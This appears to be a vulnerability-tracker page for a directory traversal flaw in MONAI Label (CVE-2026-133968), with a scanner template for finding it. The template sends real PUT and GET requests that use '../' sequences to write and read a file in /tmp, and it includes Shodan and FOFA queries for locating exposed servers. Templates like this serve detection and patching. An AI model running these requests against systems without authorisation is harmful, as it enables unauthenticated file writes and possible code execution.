CVE-2026-133968: monailabel - Directory Traversal

2026-11-29 PoC Public

Description

MONAI Label (MONAILabel) versions up to and including 0.8.5 have a directory traversal flaw. The image parameter of the PUT /datastore/image endpoint is not validated properly, so a remote attacker can craft a request to execute arbitrary code.

Details

CVE
CVE-2026-133968 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-133968

info:
  name: monailabel - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: |
    MONAI Label (MONAILabel) versions up to and including 0.8.5 have a directory traversal flaw. The image parameter of the PUT /datastore/image endpoint is not validated properly, so a remote attacker can craft a request to execute arbitrary code.
  impact: |
    A remote attacker can run arbitrary code through the directory traversal, which could lead to full system compromise.
  remediation: |
    Update to a version later than 0.8.5, or to the latest available version.
  reference:
    - https://github.com/Project-MONAI/MONAILabel/security/advisories/GHSA-qc22-rmgc-vg94
    - https://github.com/Project-MONAI/MONAILabel/pull/1915
    - https://github.com/LLCForge/CVE-2026-133968
    - https://nvd.nist.gov/vuln/detail/CVE-2026-133968
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-133968
    epss-score: 0.6275
    epss-percentile: 0.99405
    cwe-id: CWE-24
  metadata:
    verified: true
    max-request: 3
    vendor: monai
    product: monailabel
    shodan-query: http.html:"MONAILabel"
    fofa-query: body="MONAILabel"
  tags: cve,cve2026,monailabel,monai,lfi,rce,unauth,intrusive,kev,vkev

variables:
  rstr: "{{rand_base(8)}}"
  boundary: "{{rand_text_alphanumeric(16)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /info/ HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"models\":", "\"trainers\":", "\"strategies\":")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /datastore/image?image=../../../../tmp/mltest-{{rstr}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="mltest-{{rstr}}.txt"
        Content-Type: application/octet-stream

        MONAI-{{rstr}}-verification
        --{{boundary}}--
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /datastore/image?image=../../../../tmp/mltest-{{rstr}}.txt HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "MONAI-" + rstr + "-verification")'
        condition: and
    extractors:
      - type: dsl
        dsl:
          - '"traversal: /tmp/mltest-" + rstr + ".txt"'
# digest: 4b0a00483046022100d5ae1e555780cced167e61100ec3de43b10868703f7f274857dc02e0925db61d022100c7214f9a998e2d4dc47563baf9f0313a3fc0b559b892885ff38c0607b1803311:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life